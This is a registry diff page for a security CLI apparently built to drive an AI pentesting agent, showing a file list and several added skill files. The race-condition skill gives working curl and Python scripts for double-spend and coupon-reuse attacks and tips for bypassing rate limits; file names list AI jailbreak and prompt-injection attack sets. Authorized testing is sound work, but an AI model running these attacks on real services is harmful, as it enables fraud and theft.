0sec-cli 0.15.0 → 0.18.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (209) hide show
  1. package/0sec.js +327 -0
  2. package/README.md +68 -48
  3. package/attacks/data-exfiltration/pii-leakage.yaml +27 -0
  4. package/attacks/encoding-bypass/base64-encoding.yaml +24 -0
  5. package/attacks/jailbreak/dan-roleplay.yaml +27 -0
  6. package/attacks/jailbreak/hypothetical-scenario.yaml +25 -0
  7. package/attacks/jailbreak/multilingual-bypass.yaml +22 -0
  8. package/attacks/output-manipulation/harmful-content.yaml +25 -0
  9. package/attacks/prompt-injection/context-manipulation.yaml +32 -0
  10. package/attacks/prompt-injection/direct-injection.yaml +28 -0
  11. package/attacks/prompt-injection/indirect-injection.yaml +33 -0
  12. package/attacks/system-prompt-extraction/direct-ask.yaml +30 -0
  13. package/attacks/system-prompt-extraction/markdown-exfil.yaml +26 -0
  14. package/attacks/tool-misuse/ssrf-via-tools.yaml +27 -0
  15. package/chunks/adapt-loop-SMH6V4PD.js +18 -0
  16. package/chunks/adgraph-JLGA6RYI.js +54 -0
  17. package/chunks/agent/skills/frameworks/entra-id.yaml +63 -0
  18. package/chunks/agent/skills/frameworks/graphql-introspection.yaml +116 -0
  19. package/chunks/agent/skills/frameworks/nextjs.yaml +82 -0
  20. package/chunks/agent/skills/frameworks/python-web.yaml +85 -0
  21. package/chunks/agent/skills/frameworks/supabase.yaml +83 -0
  22. package/chunks/agent/skills/frameworks/wordpress-deep.yaml +122 -0
  23. package/chunks/agent/skills/techniques/ad-attack-paths.yaml +57 -0
  24. package/chunks/agent/skills/techniques/advisory-disclosure.yaml +59 -0
  25. package/chunks/agent/skills/techniques/assumption-mining.yaml +53 -0
  26. package/chunks/agent/skills/techniques/blind-exploitation.yaml +143 -0
  27. package/chunks/agent/skills/techniques/crypto-misuse.yaml +88 -0
  28. package/chunks/agent/skills/techniques/cve-poc-adaptation.yaml +82 -0
  29. package/chunks/agent/skills/techniques/entra-attack-paths.yaml +55 -0
  30. package/chunks/agent/skills/techniques/http-conformance-diff.yaml +48 -0
  31. package/chunks/agent/skills/techniques/jwt-attacks.yaml +137 -0
  32. package/chunks/agent/skills/techniques/kernel-weaponization.yaml +53 -0
  33. package/chunks/agent/skills/techniques/llm-excessive-agency.yaml +55 -0
  34. package/chunks/agent/skills/techniques/llm-insecure-output-handling.yaml +56 -0
  35. package/chunks/agent/skills/techniques/llm-prompt-injection.yaml +54 -0
  36. package/chunks/agent/skills/techniques/llm-prompt-layer-write.yaml +68 -0
  37. package/chunks/agent/skills/techniques/llm-rag-poisoning.yaml +57 -0
  38. package/chunks/agent/skills/techniques/llm-safety-eval.yaml +51 -0
  39. package/chunks/agent/skills/techniques/npm-ecosystem.yaml +51 -0
  40. package/chunks/agent/skills/techniques/poc-verification.yaml +55 -0
  41. package/chunks/agent/skills/techniques/race-condition.yaml +122 -0
  42. package/chunks/agent/skills/techniques/scoped-fix.yaml +49 -0
  43. package/chunks/agent/skills/techniques/seedless-depth-review.yaml +59 -0
  44. package/chunks/agent/skills/techniques/spec-differential.yaml +48 -0
  45. package/chunks/agent/skills/techniques/variant-hunting.yaml +55 -0
  46. package/chunks/agent/skills/vulnerabilities/cardano-eutxo-validators.yaml +72 -0
  47. package/chunks/agent/skills/vulnerabilities/command-injection.yaml +99 -0
  48. package/chunks/agent/skills/vulnerabilities/deserialization-chains.yaml +106 -0
  49. package/chunks/agent/skills/vulnerabilities/native-memory-safety.yaml +93 -0
  50. package/chunks/agent/skills/vulnerabilities/path-traversal.yaml +78 -0
  51. package/chunks/agent/skills/vulnerabilities/prototype-pollution.yaml +132 -0
  52. package/chunks/agent/skills/vulnerabilities/request-smuggling.yaml +129 -0
  53. package/chunks/agent/skills/vulnerabilities/sqli-advanced.yaml +102 -0
  54. package/chunks/agent/skills/vulnerabilities/ssrf-bypass.yaml +84 -0
  55. package/chunks/agent/skills/vulnerabilities/ssti-exploitation.yaml +112 -0
  56. package/chunks/agent/skills/vulnerabilities/structural-sqli.yaml +91 -0
  57. package/chunks/appsec-catalog-CBWHGTEL.js +24 -0
  58. package/chunks/artifact-scraper-HQ7HLP6V.js +34 -0
  59. package/chunks/assumption-mining-5SNIVVDN.js +79 -0
  60. package/chunks/chunk-242TMK6G.js +110 -0
  61. package/chunks/chunk-2JCCA2JL.js +381 -0
  62. package/chunks/chunk-2RMLOJVB.js +47 -0
  63. package/chunks/chunk-3KPWWJCI.js +1422 -0
  64. package/chunks/chunk-3MOLBTLS.js +953 -0
  65. package/chunks/chunk-53G27VPS.js +136 -0
  66. package/chunks/chunk-57ZENEX2.js +169 -0
  67. package/chunks/chunk-5G3ZXFBW.js +182 -0
  68. package/chunks/chunk-5JI7L7KV.js +74240 -0
  69. package/chunks/chunk-6L26OBWI.js +1094 -0
  70. package/chunks/chunk-6LKRLK2R.js +542 -0
  71. package/chunks/chunk-72CISA2D.js +2597 -0
  72. package/chunks/chunk-7DQEV5QI.js +287 -0
  73. package/chunks/chunk-AD7WXDH6.js +3250 -0
  74. package/chunks/chunk-ADOLI6DT.js +102 -0
  75. package/chunks/chunk-AHTBZC3E.js +596 -0
  76. package/chunks/chunk-ASUR522M.js +518 -0
  77. package/chunks/chunk-ATATQACO.js +471 -0
  78. package/chunks/chunk-BATRQBOR.js +1732 -0
  79. package/chunks/chunk-BFR2CDV5.js +5735 -0
  80. package/chunks/chunk-BFRB6HB2.js +235 -0
  81. package/chunks/chunk-BKZFDZ23.js +361 -0
  82. package/chunks/chunk-BVAZO4WA.js +193 -0
  83. package/chunks/chunk-BZNEY2ZS.js +33225 -0
  84. package/chunks/chunk-C2WXWFBB.js +1070 -0
  85. package/chunks/chunk-CMKXP5RR.js +917 -0
  86. package/chunks/chunk-DW5UWPFY.js +275 -0
  87. package/chunks/chunk-F3WBKITT.js +687 -0
  88. package/chunks/chunk-GMT2AZKM.js +2439 -0
  89. package/chunks/chunk-H2FFLZNK.js +3 -0
  90. package/chunks/chunk-IOL7D5YV.js +515 -0
  91. package/chunks/chunk-IR537GON.js +49 -0
  92. package/chunks/chunk-JQHOLLTD.js +3729 -0
  93. package/chunks/chunk-KLTNTE2Z.js +121 -0
  94. package/chunks/chunk-LP3HHYQU.js +245 -0
  95. package/chunks/chunk-MYVT64FN.js +16 -0
  96. package/chunks/chunk-N7BOUYEV.js +852 -0
  97. package/chunks/chunk-OEFNRYI2.js +150 -0
  98. package/chunks/chunk-P6WKNFWX.js +1968 -0
  99. package/chunks/chunk-QI233I24.js +333 -0
  100. package/chunks/chunk-RJWOYEOG.js +271 -0
  101. package/chunks/chunk-RRMJC3ZE.js +105 -0
  102. package/chunks/chunk-RWONANDA.js +973 -0
  103. package/chunks/chunk-SAFFWQW4.js +5921 -0
  104. package/chunks/chunk-SF4KZ4O3.js +502 -0
  105. package/chunks/chunk-SVJEDVYK.js +808 -0
  106. package/chunks/chunk-TSK2AG6J.js +5108 -0
  107. package/chunks/chunk-U5FLXGHT.js +2010 -0
  108. package/chunks/chunk-UCYRA73C.js +662 -0
  109. package/chunks/chunk-UR4ELX2Y.js +4784 -0
  110. package/chunks/chunk-VQG4FT5D.js +685 -0
  111. package/chunks/chunk-WEBMRWEG.js +9337 -0
  112. package/chunks/chunk-WU6AFRAZ.js +1167 -0
  113. package/chunks/chunk-WVTBZEQO.js +1531 -0
  114. package/chunks/chunk-WXQ6BJ6A.js +596 -0
  115. package/chunks/chunk-XM5NLHYU.js +600 -0
  116. package/chunks/chunk-YLMN3N25.js +4054 -0
  117. package/chunks/chunk-YYRBQVFE.js +2572 -0
  118. package/chunks/chunk-Z5FA2XOX.js +2798 -0
  119. package/chunks/commands-TBC2F5CE.js +16999 -0
  120. package/chunks/corpus-v1.json +403 -0
  121. package/chunks/cost-ledger-NU63MYZM.js +13 -0
  122. package/chunks/data/appsec-archetypes.json +102 -0
  123. package/chunks/data/chromium-archetypes.json +204 -0
  124. package/chunks/data/freebsd-archetypes.json +171 -0
  125. package/chunks/data/kernel-archetypes.json +611 -0
  126. package/chunks/db-KFWOAUUB.js +16 -0
  127. package/chunks/disclose-EKTWSCGW.js +132 -0
  128. package/chunks/dist-4MAW5X6L.js +74 -0
  129. package/chunks/dist-4YICS2J2.js +2776 -0
  130. package/chunks/dist-FMGSR3DW.js +159 -0
  131. package/chunks/eval-runner-7ZF472KV.js +27 -0
  132. package/chunks/example-manifest.json +95 -0
  133. package/chunks/exploit-agent-45YQOHPJ.js +98 -0
  134. package/chunks/exploit-autoclimb-UZGEMGYT.js +81 -0
  135. package/chunks/exploit-climb-SG23KB2G.js +358 -0
  136. package/chunks/fix-IG7LYXH3.js +12 -0
  137. package/chunks/github-issues-MJ6OYOOU.js +157 -0
  138. package/chunks/harness-7ODOLOWU.js +22 -0
  139. package/chunks/http-conformance-DU66MZIU.js +11 -0
  140. package/chunks/http-sender-GWH2IYEA.js +10 -0
  141. package/chunks/hunt-scan-MMKUOETU.js +38 -0
  142. package/chunks/identity-6ZAIIWOR.js +191 -0
  143. package/chunks/kernel-primitive-7U6CWHXD.js +44 -0
  144. package/chunks/kernel-vm-runner-3JAU4O6J.js +62 -0
  145. package/chunks/memsafety-scan-J7SECV5W.js +16 -0
  146. package/chunks/native-loop-RJCJPOUS.js +54 -0
  147. package/chunks/npm-detectors-KB5Y5ZFX.js +69 -0
  148. package/chunks/npm-dynamic-discovery-AHROOZDB.js +13 -0
  149. package/chunks/orchestrate-OC2VZN2X.js +62 -0
  150. package/chunks/pipeline-BZK5BLJR.js +14 -0
  151. package/chunks/pre-recon-cve-66EB6G4M.js +351 -0
  152. package/chunks/prepare-MYY743TK.js +13 -0
  153. package/chunks/process-LQRCS5OY.js +13 -0
  154. package/chunks/replay-runner-45G3VU7X.js +39 -0
  155. package/chunks/run-D56MPDKY.js +32716 -0
  156. package/chunks/runtime-G7YWIO3B.js +43 -0
  157. package/chunks/runtime-J7PLXZNM.js +12 -0
  158. package/chunks/scan-stream-FHI2FYZE.js +96 -0
  159. package/chunks/scope-BI7BF4ZY.js +18 -0
  160. package/chunks/session-store-GZ4A4KYT.js +28 -0
  161. package/chunks/source-files-PWRQR6LY.js +12 -0
  162. package/chunks/specdrift-WCLH6TTQ.js +19 -0
  163. package/chunks/variant-candidates-YERCYMPD.js +13 -0
  164. package/chunks/web-recon-prepass-JJGPEOLE.js +1148 -0
  165. package/dashboard/assets/0sec-icon-66SreztZ.gif +0 -0
  166. package/dashboard/assets/bot-yILPnRgD.js +1 -0
  167. package/dashboard/assets/chevron-down-BeDJ-Vka.js +1 -0
  168. package/dashboard/assets/circle-alert-BEnMBMT-.js +1 -0
  169. package/dashboard/assets/client-DRYsuOGl.js +9 -0
  170. package/dashboard/assets/copy-Bi5vzoF9.js +1 -0
  171. package/dashboard/assets/desktop-CXTQonNm.js +32 -0
  172. package/dashboard/assets/desktop-NOekk4QS.css +1 -0
  173. package/dashboard/assets/dist-CmX-h7a4.js +1 -0
  174. package/dashboard/assets/dist-DAwYQmf_.js +45 -0
  175. package/dashboard/assets/findings-page-CACW9nw2.js +5 -0
  176. package/dashboard/assets/format-PoISqsES.js +1 -0
  177. package/dashboard/assets/geist-cyrillic-ext-wght-normal-DjL33-gN.woff2 +0 -0
  178. package/dashboard/assets/geist-cyrillic-wght-normal-BEAKL7Jp.woff2 +0 -0
  179. package/dashboard/assets/geist-latin-ext-wght-normal-DC-KSUi6.woff2 +0 -0
  180. package/dashboard/assets/geist-latin-wght-normal-BgDaEnEv.woff2 +0 -0
  181. package/dashboard/assets/geist-vietnamese-wght-normal-6IgcOCM7.woff2 +0 -0
  182. package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-BSMlKf0J.woff2 +0 -0
  183. package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-CEL4l2ZJ.woff +0 -0
  184. package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-DMdlQ8Kv.woff +0 -0
  185. package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-xuaO2J-f.woff2 +0 -0
  186. package/dashboard/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff +0 -0
  187. package/dashboard/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2 +0 -0
  188. package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-BmRBH3aV.woff2 +0 -0
  189. package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-D3D2R8hC.woff +0 -0
  190. package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-BulugwFq.woff2 +0 -0
  191. package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-DDuiU_S-.woff +0 -0
  192. package/dashboard/assets/jsx-runtime-C7oxC63R.js +1 -0
  193. package/dashboard/assets/live-page-DrgQqQK5.js +1 -0
  194. package/dashboard/assets/meta-tile-CcskIV_o.js +1 -0
  195. package/dashboard/assets/operations-BKE8T-vY.css +2 -0
  196. package/dashboard/assets/operations-D8nUP5_m.js +4 -0
  197. package/dashboard/assets/operations-app-CQQhG54n.js +2 -0
  198. package/dashboard/assets/overview-page-DTGS8dPo.js +1 -0
  199. package/dashboard/assets/page-header-MFVvEtZW.js +1 -0
  200. package/dashboard/assets/play-Dwo-9xt6.js +1 -0
  201. package/dashboard/assets/scans-page-ChVtq8Us.js +1 -0
  202. package/dashboard/assets/search-CiooTLck.js +1 -0
  203. package/dashboard/assets/siren-CCBwTSuk.js +1 -0
  204. package/dashboard/assets/table-BYS-nIVA.js +1 -0
  205. package/dashboard/assets/tabs-DivxbhQy.js +1 -0
  206. package/dashboard/desktop.html +21 -0
  207. package/dashboard/index.html +15 -0
  208. package/package.json +30 -18
  209. package/bin/0sec.cjs +0 -361
@@ -0,0 +1,55 @@
1
+ id: poc-verification
2
+ name: "PoC Verification (Loop-Closer)"
3
+ description: "When to reach for the `verify_finding` engine: replay a persisted finding's proof-of-concept against the real target and get a deterministic pass/fail verdict from the category oracle. This is the LOOP-CLOSER — it turns a LEAD into a CONFIRMED, reproduced finding. Touches the target network, so it is offered only for an active in-scope engagement."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ tags:
8
+ - verification
9
+ - reproduction
10
+ - proof-of-concept
11
+ - deterministic-oracle
12
+ - loop-closer
13
+ triggers:
14
+ - "verify (the|this) (finding|vuln|poc|bug)"
15
+ - "reproduce"
16
+ - "confirm (the|this|it'?s) (finding|exploit|vuln)"
17
+ - "does (it|this) actually (work|reproduce)"
18
+ - "replay (the )?poc"
19
+ estimated_tokens: 700
20
+ content: |
21
+ ## PoC verification — closing the loop
22
+
23
+ A finding is a hypothesis until it is REPRODUCED. `verify_finding` replays a
24
+ persisted finding's PoC against the real target and returns a deterministic
25
+ pass/fail verdict from the category oracle — the single most important step
26
+ between "a lead" and "a confirmed, reportable finding".
27
+
28
+ ### Scope gate (read this first)
29
+ This tool sends traffic to the TARGET. It is offered ONLY when an engagement
30
+ scope is active — the target (or the explicit in-scope override) must be
31
+ authorized by the scope. Without a scope it is not available; do not attempt
32
+ to verify against a host the engagement does not cover.
33
+
34
+ ### How to drive it
35
+ - Pass the `finding_id` of the persisted finding to replay. Optionally pass a
36
+ `target` override — but it must be IN SCOPE; an out-of-scope override is
37
+ refused.
38
+ - The engine loads the finding, rebuilds its reproduction bundle, replays the
39
+ deterministic PoC, and runs the category-specific oracle to decide the
40
+ verdict.
41
+
42
+ ### Reading the verdict
43
+ - A PASS means the oracle observed the exact expected effect (the reflected
44
+ marker, the state change, the leaked value, the timing signal) — this is a
45
+ reproduced finding, safe to escalate toward disclosure.
46
+ - A FAIL means the PoC did not reproduce as recorded. That is NOT proof the
47
+ bug is absent — the target may have changed, the payload may need
48
+ adaptation, or the PoC was flaky. Re-examine the evidence and the oracle
49
+ category before discarding.
50
+
51
+ ### Where it sits
52
+ - Every lead from `deep_source_review`, `variant_hunt`, `assumption_hunt`, or
53
+ a scanner should pass through here before it is treated as real.
54
+ - A verified finding is the right input to `generate_fix` (remediation) and
55
+ `assemble_advisory` (disclosure draft).
@@ -0,0 +1,122 @@
1
+ id: race-condition
2
+ name: "Race Condition Exploitation"
3
+ description: "TOCTOU, limit-overrun, double-spend, and file race exploitation techniques"
4
+ version: 1
5
+ applicable_roles: [attack, audit]
6
+ tags: [race-condition, toctou, concurrency, parallel, double-spend, limit-overrun, time-of-check]
7
+ triggers:
8
+ - "race.condition"
9
+ - "TOCTOU"
10
+ - "time.of.check"
11
+ - "double.spend"
12
+ - "limit.*overrun"
13
+ - "coupon.*reuse"
14
+ - "discount.*appl"
15
+ - "transfer.*balance"
16
+ - "redeem"
17
+ - "concurrent"
18
+ - "atomic"
19
+ - "rate.limit"
20
+ - "one.time.*use"
21
+ - "single.use"
22
+ - "insufficient.*funds"
23
+ estimated_tokens: 650
24
+ content: |
25
+ ## Race Condition Exploitation
26
+
27
+ ### Concept
28
+ Race conditions occur when an application checks a condition (balance, coupon validity, file existence) and then acts on it in a separate step, with no atomic lock. An attacker sends concurrent requests to exploit the gap between check and use.
29
+
30
+ ### Step 1: Identify Race-Prone Endpoints
31
+ Look for operations that involve:
32
+ - **Balance/credit**: transfer money, redeem points, use wallet balance
33
+ - **Coupon/discount**: apply promo code, one-time-use voucher
34
+ - **Inventory**: purchase limited-stock item, claim reward
35
+ - **Account**: change email/password (TOCTOU on verification), upgrade plan
36
+ - **File operations**: upload then process, write then read, create then check
37
+ - **Token/OTP**: verify reset token, validate 2FA code (single-use tokens reused in window)
38
+
39
+ ### Step 2: Last-Byte Synchronization (Turbo Intruder Technique)
40
+ The key challenge is making requests arrive simultaneously. Network jitter defeats naive parallel sends.
41
+
42
+ **HTTP/1.1 last-byte sync**:
43
+ 1. Open N connections to the target (e.g., 20)
44
+ 2. Send all request data EXCEPT the final byte on each connection
45
+ 3. Wait until all connections are ready
46
+ 4. Send the final byte on all connections simultaneously
47
+ This ensures all requests arrive at the server within microseconds.
48
+
49
+ **curl parallel implementation**:
50
+ ```bash
51
+ # Simple parallel burst — 20 simultaneous requests
52
+ seq 1 20 | xargs -P 20 -I{} curl -s -o /dev/null -w "%{http_code}\n" \
53
+ -X POST TARGET/api/redeem -H "Cookie: session=TOKEN" \
54
+ -d '{"code":"SINGLE-USE-COUPON"}'
55
+ ```
56
+
57
+ **Python with threading for precise timing**:
58
+ ```python
59
+ import requests, threading
60
+ barrier = threading.Barrier(20)
61
+ results = []
62
+ def fire():
63
+ barrier.wait() # all threads release together
64
+ r = requests.post("TARGET/api/transfer",
65
+ cookies={"session": "TOKEN"},
66
+ json={"to": "attacker", "amount": 1000})
67
+ results.append(r.status_code)
68
+ threads = [threading.Thread(target=fire) for _ in range(20)]
69
+ for t in threads: t.start()
70
+ for t in threads: t.join()
71
+ print(results)
72
+ ```
73
+
74
+ **HTTP/2 single-packet attack** (most precise):
75
+ - HTTP/2 multiplexes streams on one connection — send 20 requests in a single TCP packet
76
+ - All hit the server simultaneously with zero network jitter
77
+ - Use Turbo Intruder's `race-single-packet-attack.py` template or `h2spacer`
78
+
79
+ ### Step 3: Common Attack Patterns
80
+
81
+ **Limit overrun (double-spend)**:
82
+ - Balance check: `if balance >= amount` → deduct → but 20 requests all see original balance
83
+ - Expected result: balance goes negative, or item purchased multiple times with one payment
84
+ - Evidence: compare balance before and after — negative balance or excess items proves the race
85
+
86
+ **Coupon/promo reuse**:
87
+ - Single-use code accepted multiple times in parallel
88
+ - Send 20 concurrent `POST /apply-coupon` with the same code
89
+ - Count successful 200 responses — more than 1 success = vulnerability
90
+
91
+ **Registration/invite race**:
92
+ - Limited invite codes, early-access slots, or username reservation
93
+ - Parallel requests can all succeed before the "already used" check fires
94
+
95
+ **File race (TOCTOU)**:
96
+ - Upload file → server checks file type → processes file
97
+ - Race: upload benign file, then immediately replace it with malicious one before processing
98
+ - Or: create symlink race between check and use
99
+
100
+ **Password reset race**:
101
+ - Request reset token → use token → token invalidated
102
+ - Send parallel requests using the same reset token before invalidation
103
+
104
+ ### Step 4: Detection Signals
105
+ How to know you hit a race:
106
+ - More successful responses than expected (e.g., 15 out of 20 coupon applies succeed)
107
+ - Balance/counter goes below zero or beyond expected limits
108
+ - Duplicate records created in database
109
+ - Inconsistent state visible in subsequent GET requests
110
+
111
+ ### Step 5: Proof Construction
112
+ - Screenshot or log showing pre-race balance/state
113
+ - Show parallel request execution (timestamps within <10ms of each other)
114
+ - Screenshot or log showing post-race state (negative balance, multiple redemptions)
115
+ - For file races: show the uploaded file was processed as the malicious version
116
+
117
+ ### Gotchas
118
+ - Some frameworks use database transactions or row-level locks — races won't work
119
+ - Redis-based atomic operations (DECR, SETNX) resist races
120
+ - Retry on failure: if first burst doesn't work, increase concurrency (50-100 threads)
121
+ - Network proximity matters: run from the same datacenter or region if possible
122
+ - Rate limiting may need to be bypassed first (IP rotation, header manipulation)
@@ -0,0 +1,49 @@
1
+ id: scoped-fix
2
+ name: "Scoped Fix Generation"
3
+ description: "When to reach for the offline `generate_fix` engine: for a REPRODUCED finding, generate a minimal, scoped patch that closes the vulnerability without changing unrelated behaviour. Offline — it reads the finding focus + the affected source and produces a candidate diff; it never touches the target network and never applies the patch itself. The remediation half of the loop."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ - audit
8
+ - review
9
+ tags:
10
+ - remediation
11
+ - fix
12
+ - patch
13
+ - scoped-fix
14
+ - source-review
15
+ triggers:
16
+ - "generate (a )?fix"
17
+ - "remediat"
18
+ - "patch (the|this) (finding|vuln|bug)"
19
+ - "how (do i|to) fix"
20
+ - "scoped fix"
21
+ estimated_tokens: 600
22
+ content: |
23
+ ## Scoped fix generation (offline)
24
+
25
+ Finding a bug is half the job; a credible, MINIMAL fix is what makes it
26
+ actionable. `generate_fix` produces a candidate patch for a finding that has
27
+ already been reproduced.
28
+
29
+ ### How to drive it
30
+ - Pass the `finding_id` (the reproduced finding to remediate) and, when the
31
+ source is not already the scoped path, the `repo` / source path. The engine
32
+ loads the finding's focus (the vulnerable file/lines + evidence) and the
33
+ surrounding source, then produces a scoped diff.
34
+
35
+ ### What "scoped" means here
36
+ - The patch should close the vulnerability and NOTHING else: no refactors, no
37
+ behaviour changes on the valid path, the smallest change that adds the
38
+ missing guard / fixes the boundary / corrects the check.
39
+ - It is generated OFFLINE and is NOT applied automatically. Treat the diff as
40
+ a proposal: read it, confirm it actually blocks the reproduced PoC and does
41
+ not break the legitimate path, then apply it through your normal edit/patch
42
+ flow.
43
+
44
+ ### Where it sits in the loop
45
+ - Reproduce first (`verify_finding`), then `generate_fix`. A fix for an
46
+ UNREPRODUCED finding is speculation — prefer to confirm the bug is real and
47
+ reachable before proposing a patch.
48
+ - After patching, a variant hunt (`variant_hunt`) off the same fix diff finds
49
+ sibling sites the single patch missed.
@@ -0,0 +1,59 @@
1
+ id: seedless-depth-review
2
+ name: "Seedless Depth Source Review"
3
+ description: "When to reach for the offline source-review engines: `deep_source_review` (seedless depth method — specialized finder lenses × a multi-lens refute quorum) and `file_security_review` (whole-repo regex → coverage gate → batched AI investigation, resumable). Both read source only; neither touches the target network."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ - audit
8
+ - review
9
+ tags:
10
+ - source-review
11
+ - deep-review
12
+ - depth-review
13
+ - finder-lens
14
+ - file-review
15
+ - static-analysis
16
+ triggers:
17
+ - "deep review"
18
+ - "depth review"
19
+ - "finder lens"
20
+ - "source review"
21
+ - "review the (repo|codebase|source|code)"
22
+ - "whole-repo"
23
+ estimated_tokens: 750
24
+ content: |
25
+ ## Seedless depth review of a source tree (offline)
26
+
27
+ When the task is "find bugs in this source tree" and you have no seed fix diff
28
+ to derive variants from, reach for one of two offline engines instead of
29
+ ad-hoc grepping.
30
+
31
+ ### `deep_source_review` — the depth method
32
+ - Enumerates candidate files from the tree, then re-hunts each through
33
+ specialized **finder lenses** (memory-safety, input-validation, authz/logic,
34
+ secrets/crypto, plus the appsec pack) and gates survivors through a
35
+ **multi-lens refute quorum** — every lens re-reads and tries to refute.
36
+ - Drive it with `target` (a local path); bound cost with `max_candidates`
37
+ (largest-first, default 8), `concurrency`, and `cost_ceiling_usd`. Use
38
+ `subsystem` to narrow a large tree (there is a 5000-file review cap).
39
+ - **Output is LEADS, not confirmed bugs.** Each lead survived the refute
40
+ quorum but is not proven. Verify the real sink and impact — trace the taint
41
+ from a concrete entry point — before you report or disclose.
42
+
43
+ ### `file_security_review` — whole-repo, resumable
44
+ - A different shape: free regex scan → coverage gate → batched AI
45
+ investigation (refusal audit + field repair) → optional static revalidate.
46
+ - Drive it with `target`; bound with `max_cost_usd` / `max_duration_ms`,
47
+ `batch_size`, `concurrency`; set `revalidate: true` to adversarially
48
+ re-check HIGH+ findings.
49
+ - **It is resumable.** `exitCode === 3` means a cost/duration limit stopped
50
+ the run at a checkpoint — re-run the same tool on the same target to
51
+ continue. Treat exit 3 as "paused", not "failed".
52
+
53
+ ### Choosing between them
54
+ - Use `deep_source_review` for a focused, lens-driven depth pass on the files
55
+ most likely to hold a serious bug.
56
+ - Use `file_security_review` for broad whole-repo coverage with a durable,
57
+ resumable record store.
58
+ - Either way, a clean run with zero findings is a valid outcome — not proof of
59
+ perfection, but also not a failure.
@@ -0,0 +1,48 @@
1
+ id: spec-differential
2
+ name: "Specification Differential"
3
+ description: "When to reach for the `spec_drift` engine: extract the invariants a target is SUPPOSED to enforce (from an OpenAPI/spec) and probe the live target for DRIFT — endpoints, params, auth requirements, and status/shape contracts the implementation violates. A network differential between the documented contract and the real behaviour. Sends live traffic, so it is offered only for an active in-scope engagement."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ tags:
8
+ - spec-drift
9
+ - openapi
10
+ - differential
11
+ - contract
12
+ - shadow-api
13
+ - broken-object-level-authz
14
+ triggers:
15
+ - "spec.?drift"
16
+ - "openapi|swagger"
17
+ - "(api )?spec (differential|drift|mismatch)"
18
+ - "shadow (api|endpoint)"
19
+ - "undocumented (endpoint|param)"
20
+ estimated_tokens: 650
21
+ content: |
22
+ ## Specification differential (live)
23
+
24
+ An API's spec is a statement of intent; the implementation is the reality.
25
+ Where they DRIFT is where bugs live — an endpoint that ignores a documented
26
+ auth requirement, an undocumented "shadow" parameter, a response that leaks a
27
+ field the schema hides, a status contract the server breaks. `spec_drift`
28
+ extracts the spec's invariants and probes the live target for those gaps.
29
+
30
+ ### Scope gate (read this first)
31
+ This tool sends requests to the TARGET. It is offered ONLY when an engagement
32
+ scope is active and the target is in scope. Without a scope it is not
33
+ available.
34
+
35
+ ### How to drive it
36
+ - Pass the `target` (an in-scope base URL) and the `spec` (an OpenAPI/schema
37
+ document or excerpt). The engine runs `extractSpecInvariants` to derive the
38
+ contract, then plans and executes probes that test each invariant against
39
+ the live server.
40
+
41
+ ### Reading the result
42
+ - Each drift is a LEAD: a documented-vs-actual mismatch. The high-value
43
+ classes are auth/authorization drift (an endpoint reachable without the
44
+ required credential — BOLA/BFLA), shadow endpoints/params, and
45
+ over-disclosure in responses.
46
+ - Confirm the security impact of a drift (who can reach it, what it exposes)
47
+ before treating it as a finding. Not every documentation mismatch is a
48
+ vulnerability.
@@ -0,0 +1,55 @@
1
+ id: variant-hunting
2
+ name: "Variant Hunting from a Seed"
3
+ description: "When to reach for the offline `variant_hunt` engine: given a proven bug (a seed fix diff or a described bug class) hunt the SAME class at OTHER sites in the source tree — LLM bug-class extraction + grep'd candidate sites → parallel finders → adversarial skeptic gate. Offline source read; never touches the target network. Emits LEADS, not confirmed 0-days."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ - audit
8
+ - review
9
+ tags:
10
+ - variant-analysis
11
+ - variant-hunt
12
+ - bug-class
13
+ - patch-diffing
14
+ - source-review
15
+ - n-day
16
+ triggers:
17
+ - "variant"
18
+ - "same (bug|vuln|pattern|class) (elsewhere|again|somewhere)"
19
+ - "patch.?diff"
20
+ - "seed (fix|diff|patch)"
21
+ - "hunt (for )?(other|more) (instances|occurrences|sites)"
22
+ estimated_tokens: 650
23
+ content: |
24
+ ## Variant hunting from a seed (offline)
25
+
26
+ One real bug is rarely alone. When you have a PROVEN bug — a fix commit, a
27
+ described root cause, or a confirmed finding — the highest-yield next move is
28
+ to hunt the SAME bug class at every OTHER site in the tree. Reach for
29
+ **`variant_hunt`** instead of ad-hoc grepping.
30
+
31
+ ### What it does
32
+ - Extracts the bug CLASS from the seed (the sink, the missing guard, the
33
+ dangerous pattern), then generates candidate sites across the tree (an LLM
34
+ bug-class pass + grep'd structural candidates).
35
+ - Runs parallel finders over the candidates, then gates survivors through an
36
+ adversarial skeptic that re-reads each and tries to refute it.
37
+
38
+ ### How to drive it
39
+ - Point it at the `source` tree (a local path; resolved within the scoped
40
+ source path when one is set).
41
+ - Provide the `seed` — a fix diff, the finding, or a description of the bug
42
+ class. A sharper seed yields sharper candidates. With no seed it falls back
43
+ to a broader class-agnostic sweep.
44
+
45
+ ### Reading the result
46
+ - A surviving hunt finding is a **LEAD, not a confirmed 0-day**: the skeptic
47
+ gate filters (re-reads + refutes) but does not PROVE, and novelty (is this
48
+ site already fixed upstream?) is a downstream gate.
49
+ - Treat `confirmed` as "worth verifying". Before any disclosure: trace the
50
+ real sink from a concrete entry point, and check the site is not already
51
+ patched. Hand a promising lead to `verify_finding` to close the loop.
52
+
53
+ ### When to use
54
+ - Right after a fix lands or a finding is confirmed — hunt siblings.
55
+ - When reviewing a codebase with a known recurring anti-pattern.
@@ -0,0 +1,72 @@
1
+ id: cardano-eutxo-validators
2
+ name: "Cardano EUTXO Validator Logic Bugs (Aiken / Plutus)"
3
